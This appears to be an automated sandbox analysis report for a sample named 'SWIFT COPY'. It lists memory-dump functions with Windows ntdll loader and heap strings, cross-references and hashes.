Instruction Fuzzy Hash: FC51C5712083059FE725EF28C881B6BB7E8FFC4A4CF50491DF9859B264DA34E944CB92

Function 0133EA80 Relevance: 8.6, Strings: 6, Instructions: 1073COMMON

Download Yara Rule

Strings

R, xrefs: 0133EB62
{, xrefs: 01394643
, xrefs: 0133F299
LdrpResSearchResourceInsideDirectory Enter, xrefs: 0133EB58
T, xrefs: 0133EB4E
LdrpResSearchResourceInsideDirectory Exit, xrefs: 0133EB6C

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: $LdrpResSearchResourceInsideDirectory Enter$LdrpResSearchResourceInsideDirectory Exit$R$T${
API String ID: 0-1109411897
Opcode ID: 7b656f3a11d9aee672084f6c34bb6b3a0247433390e6a290888db56a82edcbd5
Instruction ID: 1fb32aa15cd445497229b65af3dfbeedb77afcdcd6ca57041e0458e4d212b83c
Opcode Fuzzy Hash: 7b656f3a11d9aee672084f6c34bb6b3a0247433390e6a290888db56a82edcbd5
Instruction Fuzzy Hash: CFA24874E0562A8FDF64DF18C9887ADBBB9AF85308F1442E9D90DA7250DB349E81CF44

Function 01362674 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

RtlGetAssemblyStorageRoot, xrefs: 013A2160, 013A219A, 013A21BA
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p, xrefs: 013A21BF
SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx, xrefs: 013A219F
SXS: %s() passed the empty activation context, xrefs: 013A2165
SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx, xrefs: 013A2180
SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx, xrefs: 013A2178

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: RtlGetAssemblyStorageRoot$SXS: %s() bad parameters AssemblyRosterIndex 0x%lx >= AssemblyRosterHeader->EntryCount: 0x%lx$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: AssemblyRosterIndex: 0x%lxSXS: AssemblyStorageRoot: %pSXS: Callback : %p$SXS: %s() passed the empty activation context$SXS: RtlGetAssemblyStorageRoot() unable to get activation context data, storage map and assembly roster header. Status = 0x%08lx$SXS: RtlGetAssemblyStorageRoot() unable to resolve storage map entry. Status = 0x%08lx
API String ID: 0-861424205
Opcode ID: 195e2c229bda1ebbc2b85f56aefa429cfcc3ea43206ade4594dea26169eba3ab
Instruction ID: 38c03e46cc372fdbff9bdcbf1d3d9f5e579935074d15b542d072069e8c0fe9c6
Opcode Fuzzy Hash: 195e2c229bda1ebbc2b85f56aefa429cfcc3ea43206ade4594dea26169eba3ab
Instruction Fuzzy Hash: 4F31F83AF4021577F7258A998C85F5B7B7CDB95A5CF0A8059FB046B249E270AE00C7E1

Function 0136C6A6 Relevance: 7.6, Strings: 6, Instructions: 110COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrredirect.c, xrefs: 013A8181, 013A81F5
LdrpInitializeImportRedirection, xrefs: 013A8177, 013A81EB
minkernel\ntdll\ldrinit.c, xrefs: 0136C6C3
Unable to build import redirection Table, Status = 0x%x, xrefs: 013A81E5
LdrpInitializeProcess, xrefs: 0136C6C4
Loading import redirection DLL: '%wZ', xrefs: 013A8170

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: LdrpInitializeImportRedirection$LdrpInitializeProcess$Loading import redirection DLL: '%wZ'$Unable to build import redirection Table, Status = 0x%x$minkernel\ntdll\ldrinit.c$minkernel\ntdll\ldrredirect.c
API String ID: 0-475462383
Opcode ID: 8b3988210a93fc4701be6a728ade3391fbfe2a5c43b247a3504abc1d03f0e332
Instruction ID: 1b83a0440878d8ec4b5421789ed4646acc06b7f5aaa25999ce5e75f98e8598d3
Opcode Fuzzy Hash: 8b3988210a93fc4701be6a728ade3391fbfe2a5c43b247a3504abc1d03f0e332
Instruction Fuzzy Hash: AD311371644306ABD324EF2DD846E2A7BE4FF94B28F444558F9856B395E620EC04C7A2

Function 0137096E Relevance: 6.6, APIs: 4, Instructions: 606COMMON

Download Yara Rule

APIs

Part of subcall function 01372DF0: LdrInitializeThunk.NTDLL ref: 01372DFA

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01370BA3
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01370BB6
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01370D60
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 01370D74

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@$InitializeThunk
String ID:
API String ID: 1404860816-0
Opcode ID: 8fa13d1850be6ac665e9770f8a822f71cbebca4b73a6a9aa22266963a5faa6a5
Instruction ID: a51016a00688c1a96c4b08e346b89b2ef9d6a8ee3e133f6fd103f598a1b41876
Opcode Fuzzy Hash: 8fa13d1850be6ac665e9770f8a822f71cbebca4b73a6a9aa22266963a5faa6a5
Instruction Fuzzy Hash: 34427C71900715DFDB65CF28C880BAAB7F4FF05318F1445AAE989EB641E774AA84CF60

Function 0133A3C0 Relevance: 5.3, Strings: 4, Instructions: 290COMMON

Download Yara Rule

Strings

6, xrefs: 0133A3F7
8, xrefs: 0133A3E7
LdrResFallbackLangList Enter, xrefs: 0133A3EF
LdrResFallbackLangList Exit, xrefs: 0133A3FF

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: 6$8$LdrResFallbackLangList Enter$LdrResFallbackLangList Exit
API String ID: 0-379654539
Opcode ID: f95c7a0ef951c85f5065c737ea552e12744549381e6a534903036d604cea9519
Instruction ID: 86472473ec2af1cc4ed198ef13f10c0d774958967bde70d2d21db08f679a7612
Opcode Fuzzy Hash: f95c7a0ef951c85f5065c737ea552e12744549381e6a534903036d604cea9519
Instruction Fuzzy Hash: 34C17774108386DFDB21CF58C044B6ABBE8BF84708F04496AF9D5DB691E734C949CB5A

Function 01368402 Relevance: 5.3, Strings: 4, Instructions: 263COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 01368421
@, xrefs: 01368591
LdrpInitializeProcess, xrefs: 01368422
\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers, xrefs: 0136855E

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: @$LdrpInitializeProcess$\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers$minkernel\ntdll\ldrinit.c
API String ID: 0-1918872054
Opcode ID: cf9b6303a1b1b58de4b2735eeb3b26b7b73f5c33253aa425ed4c33191f818843
Instruction ID: 0596d31e343dfa8ea4edab69d4a649879ac77cea4ee044d7fbab70821b402acb
Opcode Fuzzy Hash: cf9b6303a1b1b58de4b2735eeb3b26b7b73f5c33253aa425ed4c33191f818843
Instruction Fuzzy Hash: F5918C71508345AFD722DE29CC40FABBAECFF88748F80496EFA8492155E774D9448B62

Function 0136273C Relevance: 5.2, Strings: 4, Instructions: 249COMMON

Download Yara Rule

Strings

RtlpGetActivationContextDataStorageMapAndRosterHeader, xrefs: 013A21D9, 013A22B1
SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p, xrefs: 013A22B6
SXS: %s() passed the empty activation context, xrefs: 013A21DE
.Local, xrefs: 013628D8

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: .Local$RtlpGetActivationContextDataStorageMapAndRosterHeader$SXS: %s() bad parameters:SXS: Flags : 0x%lxSXS: Peb : %pSXS: ActivationContextData: %pSXS: AssemblyStorageMap : %p$SXS: %s() passed the empty activation context
API String ID: 0-1239276146
Opcode ID: 7a6f8cb5752118378fc269ae60bee4a184adf74e600df2e0840cbe4f5e052890
Instruction ID: 04eb758ad0cf0dcbc0e4bef8feac3b5f9edb0130b9ddb180b689269f2405241d
Opcode Fuzzy Hash: 7a6f8cb5752118378fc269ae60bee4a184adf74e600df2e0840cbe4f5e052890
Instruction Fuzzy Hash: 03A1A03590022ADBDB25CF68CC84BAAB7B9FF58358F1581E9D948A7255D7309E80CF90

Function 013364AB Relevance: 5.2, Strings: 4, Instructions: 211COMMON

Download Yara Rule

Strings

ThreadPool: callback %p(%p) returned with preferred languages set, xrefs: 0139106B
ThreadPool: callback %p(%p) returned with background priorities set, xrefs: 013910AE
ThreadPool: callback %p(%p) returned with the loader lock held, xrefs: 01391028
ThreadPool: callback %p(%p) returned with a transaction uncleared, xrefs: 01390FE5

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: ThreadPool: callback %p(%p) returned with a transaction uncleared$ThreadPool: callback %p(%p) returned with background priorities set$ThreadPool: callback %p(%p) returned with preferred languages set$ThreadPool: callback %p(%p) returned with the loader lock held
API String ID: 0-1468400865
Opcode ID: 66cc5495459f882854bac93ca264e019f3095b9f8963526811cc1853698ee1f8
Instruction ID: f112e8489e77152f6fe8054bea82eec31e1fd0a85d9e8d2d77836d5655a56fb0
Opcode Fuzzy Hash: 66cc5495459f882854bac93ca264e019f3095b9f8963526811cc1853698ee1f8
Instruction Fuzzy Hash: F071B1B1904305EFDB21EF18C885B977FA8AF94768F400568F9498B286D734D688CBD6

Function 0135245A Relevance: 5.1, Strings: 4, Instructions: 111COMMON

Download Yara Rule

Strings

Getting ApphelpCheckModule failed with status 0x%08lx, xrefs: 0139A992
apphelp.dll, xrefs: 01352462
minkernel\ntdll\ldrinit.c, xrefs: 0139A9A2
LdrpDynamicShimModule, xrefs: 0139A998

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: Getting ApphelpCheckModule failed with status 0x%08lx$LdrpDynamicShimModule$apphelp.dll$minkernel\ntdll\ldrinit.c
API String ID: 0-176724104
Opcode ID: 64aafe40acd28b51ff12d8198a4c4f940b534ea2dd4d7db42291cc71711e0a55
Instruction ID: 0e9ab2f0c63f112b36c14631ba74845a01e3f64f770fef6799b29d813c715e53
Opcode Fuzzy Hash: 64aafe40acd28b51ff12d8198a4c4f940b534ea2dd4d7db42291cc71711e0a55
Instruction Fuzzy Hash: B23148B1A00206EBEF319F5DD881E6A7BF5FB84B0CFA60119ED01AB265C7B459C1C780

Function 013B20DE Relevance: 5.0, Strings: 4, Instructions: 41COMMON

Download Yara Rule

Strings

Process initialization failed with status 0x%08lx, xrefs: 013B20F3
LdrpInitializationFailure, xrefs: 013B20FA
minkernel\ntdll\ldrinit.c, xrefs: 013B2104
`,, xrefs: 013B20EB

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: LdrpInitializationFailure$Process initialization failed with status 0x%08lx$`,$minkernel\ntdll\ldrinit.c
API String ID: 0-1034781813
Opcode ID: 797cddefd6a773f18d185de77540956d8c0ac7ea2a1d8325e884595218445098
Instruction ID: ff47fddf3f0e0373a38ca9c5f7c90104c1c87f25807bc529de20d2bb7bb99333
Opcode Fuzzy Hash: 797cddefd6a773f18d185de77540956d8c0ac7ea2a1d8325e884595218445098
Instruction Fuzzy Hash: 85F0C875740308ABE734EA4DDC53FDA3B68EB44B5CF500059FB006B695E2B0A540C691

Function 013429A0 Relevance: 4.7, Strings: 3, Instructions: 966COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 01343255
Unable to release memory at %p for %Ix bytes - Status == %x, xrefs: 0134327D
HEAP: , xrefs: 01343264

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: HEAP: $HEAP[%wZ]: $Unable to release memory at %p for %Ix bytes - Status == %x
API String ID: 0-617086771
Opcode ID: af555e3471090f7acedc67aefa7732117734a1a662628b03493d95bb86d2980b
Instruction ID: c9eac1ab2f4e73761479750c63142cd3b0fb2a31b6a6b0c7535422d1eac3a759
Opcode Fuzzy Hash: af555e3471090f7acedc67aefa7732117734a1a662628b03493d95bb86d2980b
Instruction Fuzzy Hash: A792DD70A04259DFEB25CF68D440BAEBBF1FF08318F188099E899AB791D734A945CF50

Function 01340770 Relevance: 4.2, Strings: 3, Instructions: 414COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 013950AE
(UCRBlock->Size >= *Size), xrefs: 013950CA
HEAP: , xrefs: 013950BD

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: (UCRBlock->Size >= *Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-4253913091
Opcode ID: 128d1bd4db8a27536ceb9209a81feeb498f48938cd6cbfb4a832c1fbfae41645
Instruction ID: 7b1e87b9fb5acd0dbf002e6939bc96c9215e7df73443ad9b85448a4e71472ec4
Opcode Fuzzy Hash: 128d1bd4db8a27536ceb9209a81feeb498f48938cd6cbfb4a832c1fbfae41645
Instruction Fuzzy Hash: D9F1AE74700606DFEB1ACF68C894BAABBF5FF44308F1441A9E6469B791D734E981CB90

Function 01356962 Relevance: 4.0, Strings: 2, Instructions: 1492COMMON

Download Yara Rule

Strings

, xrefs: 0139CA51
@, xrefs: 01356C24

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: $@
API String ID: 0-1077428164
Opcode ID: dea3436014a31bbbeb8bdd7df6d4559f06dea6cf9bcf25560306bdf1e5e0e1c0
Instruction ID: d9ed0e987024ecb419012b360947b20f02ee4befec80cfc3477c9dac3388215b
Opcode Fuzzy Hash: dea3436014a31bbbeb8bdd7df6d4559f06dea6cf9bcf25560306bdf1e5e0e1c0
Instruction Fuzzy Hash: 34C281716083459FEB65CF28C841FABBBE5AF88B58F44892DED89C7241D734D805CB92

Function 0132A197 Relevance: 4.0, Strings: 3, Instructions: 238COMMON

Download Yara Rule

Strings

\??\, xrefs: 0138C1E4
FilterFullPath, xrefs: 0138C2E6
UseFilter, xrefs: 0132A1C1

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: FilterFullPath$UseFilter$\??\
API String ID: 0-2779062949
Opcode ID: 2409953fba2b2a94b7c3248af63f6ce2b5d3df913b5f6be0ffab2bf0659d8cf0
Instruction ID: 73bf162ba051c7798c9f110dd1be0410826349e9b93091277540786a0d4c1083
Opcode Fuzzy Hash: 2409953fba2b2a94b7c3248af63f6ce2b5d3df913b5f6be0ffab2bf0659d8cf0
Instruction Fuzzy Hash: AEA16B719016299BDB31EF68CC88BEAB7B8EF44718F1001E9E909A7250D7359EC5CF60

Function 01350BCB Relevance: 4.0, Strings: 3, Instructions: 210COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 0139A121
Failed to allocated memory for shimmed module list, xrefs: 0139A10F
LdrpCheckModule, xrefs: 0139A117

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: Failed to allocated memory for shimmed module list$LdrpCheckModule$minkernel\ntdll\ldrinit.c
API String ID: 0-161242083
Opcode ID: fd69de7be57cf0a9b0dbc8c3700f283aebe6fd753acac63950c2d3d67772fc41
Instruction ID: fa2ae30bdf85a419e1c3298e9955f12697a7d8ceb2c996766e0ffca8baee2a56
Opcode Fuzzy Hash: fd69de7be57cf0a9b0dbc8c3700f283aebe6fd753acac63950c2d3d67772fc41
Instruction Fuzzy Hash: 8F71D070A002069FDF29DF6CC981AAEB7F4FB44B08F55442DE802AB755E775AD81CB50

Function 01340A5B Relevance: 3.9, Strings: 3, Instructions: 190COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 01395335
HEAP: , xrefs: 01395342
((PHEAP_ENTRY)LastKnownEntry <= Entry), xrefs: 0139534D

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: ((PHEAP_ENTRY)LastKnownEntry <= Entry)$HEAP: $HEAP[%wZ]:
API String ID: 0-1334570610
Opcode ID: 57fbf277f1fe361bbec769282431cc4a0d5257178802b395dda913a75493cab6
Instruction ID: b1d88d11ec399d86b1c7e3a85ce8655b75a964a2658ca884b3faecc71c670f3f
Opcode Fuzzy Hash: 57fbf277f1fe361bbec769282431cc4a0d5257178802b395dda913a75493cab6
Instruction Fuzzy Hash: AC61AE707003059FDB29DF28C480BAABBE5FF4470CF14855AE5598B692D770E881CB95

Function 0136C720 Relevance: 3.9, Strings: 3, Instructions: 141COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrinit.c, xrefs: 013A82E8
LdrpInitializePerUserWindowsDirectory, xrefs: 013A82DE
Failed to reallocate the system dirs string !, xrefs: 013A82D7

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: Failed to reallocate the system dirs string !$LdrpInitializePerUserWindowsDirectory$minkernel\ntdll\ldrinit.c
API String ID: 0-1783798831
Opcode ID: a187dc5a48dd620ba9794e93ea06b5388ae8a209bd356adb8465186b9d633018
Instruction ID: e7cbe6094b0673484db4bf5a31ae15fe55603c350e063d631084b82c43fea645
Opcode Fuzzy Hash: a187dc5a48dd620ba9794e93ea06b5388ae8a209bd356adb8465186b9d633018
Instruction Fuzzy Hash: 0A41D271500315ABD731EF68D844B5B77E8FF48B58F40892AF988932A4E774E840CB91

Function 013EC188 Relevance: 3.9, Strings: 3, Instructions: 123COMMON

Download Yara Rule

Strings

\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings, xrefs: 013EC1C5
@, xrefs: 013EC1F1
PreferredUILanguages, xrefs: 013EC212

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: @$PreferredUILanguages$\Registry\Machine\System\CurrentControlSet\Control\MUI\Settings
API String ID: 0-2968386058
Opcode ID: 4b87491b4c9e2c61f499081fb3d38cb37ba844fdc90116096894edde6deebc17
Instruction ID: e1a1a066c37836a78ba822bfccad9f86e46d1d47a4928ba0660d3683eaf1b0a1
Opcode Fuzzy Hash: 4b87491b4c9e2c61f499081fb3d38cb37ba844fdc90116096894edde6deebc17
Instruction Fuzzy Hash: A4417372E00329EBDF15DBD8C855FEEBBF8AB14708F14406AE609B7280D7749A44CB54

Function 013C4144 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

LdrpResValidateFilePath Enter, xrefs: 013C4160
@, xrefs: 013C4225
LdrpResValidateFilePath Exit, xrefs: 013C4172

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: @$LdrpResValidateFilePath Enter$LdrpResValidateFilePath Exit
API String ID: 0-1373925480
Opcode ID: a54705705040d5069ab4056b19b16cb72ff44e5f275ee3ceb5a1750fdce91bff
Instruction ID: 44ecaf8d2ab334d6b917798e7eb881d9b7ad9291319e74d4699782f3915fb295
Opcode Fuzzy Hash: a54705705040d5069ab4056b19b16cb72ff44e5f275ee3ceb5a1750fdce91bff
Instruction Fuzzy Hash: FE410231A042588BEB26DB98C850BADBBB9FFA5B48F14045ED941EB781DA349D01CB10

Function 013B4755 Relevance: 3.9, Strings: 3, Instructions: 121COMMON

Download Yara Rule

Strings

minkernel\ntdll\ldrredirect.c, xrefs: 013B4899
Import Redirection: %wZ %wZ!%s redirected to %wZ, xrefs: 013B4888
LdrpCheckRedirection, xrefs: 013B488F

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: Import Redirection: %wZ %wZ!%s redirected to %wZ$LdrpCheckRedirection$minkernel\ntdll\ldrredirect.c
API String ID: 0-3154609507
Opcode ID: af589fb566e65f50f7d0632e6d86efce5ce968799367faa6c49e2cd5825c3b2e
Instruction ID: 698d1fe1773484ad9a9521a1bfb8d58dbd35f98199148c1471bc6ca66eca33a8
Opcode Fuzzy Hash: af589fb566e65f50f7d0632e6d86efce5ce968799367faa6c49e2cd5825c3b2e
Instruction Fuzzy Hash: F941D432A002519BCB21CE1CE8C1AA67FE8AF89658B050559EE5AD7B53F731D800CB95

Function 01340BBE Relevance: 3.8, Strings: 3, Instructions: 70COMMON

Download Yara Rule

Strings

HEAP[%wZ]: , xrefs: 01395431
HEAP: , xrefs: 0139543E
(ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size), xrefs: 01395449

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: (ROUND_UP_TO_POWER2(Size, PAGE_SIZE) == Size)$HEAP: $HEAP[%wZ]:
API String ID: 0-2558761708
Opcode ID: 44afdbf642fa5f298b026e2268928421912a0a2d555eaaf75e4cfe8c2d98f963
Instruction ID: 64b49f6df1ac1cfa71c0d4741dd9e593d4f3ef9349c878d15a00726ccd002e9f
Opcode Fuzzy Hash: 44afdbf642fa5f298b026e2268928421912a0a2d555eaaf75e4cfe8c2d98f963
Instruction Fuzzy Hash: 4E11E1313151469FDB6EDA1CC450BB6B3E8EF4061EF18812AF606DB651DB30E880C759

Function 013403E9 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 184COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 01394D8A

Strings

#%u, xrefs: 01394D82

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: ___swprintf_l
String ID: #%u
API String ID: 48624451-232158463
Opcode ID: 491dfe7ec627b22e731667f6267e4ea450fe7e943e24622270ba6f158c28c0e7
Instruction ID: e3c416eb66cdce5540786556cfac5602d260649bf71b84b6020105dad79e528e
Opcode Fuzzy Hash: 491dfe7ec627b22e731667f6267e4ea450fe7e943e24622270ba6f158c28c0e7
Instruction Fuzzy Hash: 0D711871A0014A9FDF15DFACC990BAEB7F8FF18708F144065EA05A7251EA34ED41CB61

Function 0133A9D0 Relevance: 2.9, Strings: 2, Instructions: 421COMMON

Download Yara Rule

Strings

LdrResSearchResource Exit, xrefs: 0133AA25
LdrResSearchResource Enter, xrefs: 0133AA13

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: LdrResSearchResource Enter$LdrResSearchResource Exit
API String ID: 0-4066393604
Opcode ID: a40d2b2c76c25561abe1c29de10ba242b393bd192291e6753f36fe40aef9c53f
Instruction ID: 32548bdedd7eba818de070c0d18cec0a30218b320ef288835c1fe9c39dc6fd61
Opcode Fuzzy Hash: a40d2b2c76c25561abe1c29de10ba242b393bd192291e6753f36fe40aef9c53f
Instruction Fuzzy Hash: 1BE18271E00619AFEF26CFADC980BAEBBB9FF84318F104526E942E7251D7349941CB54

Function 013FA352 Relevance: 2.8, Strings: 2, Instructions: 348COMMON

Download Yara Rule

Strings

`, xrefs: 013FA44B
`, xrefs: 013FA551

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: `$`
API String ID: 0-197956300
Opcode ID: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction ID: 8608576899f44c54d240c72fb39c83d2872c8bb0ffd2b8701c184fb9c5dd5ce5
Opcode Fuzzy Hash: f14427897cfa9f2fff493575096aafbbc27a418cd5181fa4476e78ff72e31fcd
Instruction Fuzzy Hash: 2FC1BF312043469BEB25CF28C845B6BBBE5AFC435CF084A2DF69A9B290D774E509CB51

Function 013AE6F2 Relevance: 2.7, Strings: 2, Instructions: 179COMMON

Download Yara Rule

Strings

Legacy, xrefs: 013AE75A
UEFI, xrefs: 013AE751

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID: InitializeThunk
String ID: Legacy$UEFI
API String ID: 2994545307-634100481
Opcode ID: 4f1e11fe5a6cdd0a2e37309049e9dbd426758fddc791bad4662865342816b90b
Instruction ID: e6312e1e1f62b24c229e3c281e9c12e022921ee065d5d18d5a5b77e5690fd078
Opcode Fuzzy Hash: 4f1e11fe5a6cdd0a2e37309049e9dbd426758fddc791bad4662865342816b90b
Instruction Fuzzy Hash: 12614B72E002199FDB25DFA8C880BAEBBB9FB44708F54407DE659EB291D731A940CB50

Function 013D43D4 Relevance: 2.7, Strings: 2, Instructions: 169COMMON

Download Yara Rule

Strings

@, xrefs: 013D4437
MUI, xrefs: 013D4525

Memory Dump Source

Source File: 00000003.00000002.2224917606.0000000001300000.00000040.00001000.00020000.00000000.sdmp, Offset: 01300000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_1300000_SWIFT COPY.jbxd

Similarity

API ID:
String ID: @$MUI
API String ID: 0-17815947
Opcode ID: a8ea9fc1e6ed39d5eb5225508538c61770cc981c9454142bf9f2abbf19129c00
Instruction ID: 90ce1db6a05d296824524148fff73c00959961e953f93cc4efb4d193f015fb0f
Opcode Fuzzy Hash: a8ea9fc1e6ed39d5eb5225508538c61770cc981c9454142bf9f2abbf19129c00
Instruction Fuzzy Hash: 9C512972D0021DAFDF11DFA9DC80EEEBBB9EB48758F100529E611B7690D6349E45CB60

Function 013304E5 Relevance: 2.7, Strings: 2, Instructions: 153COMMON

Download Yara Rule

Strings

kLsE, xrefs: 01330540
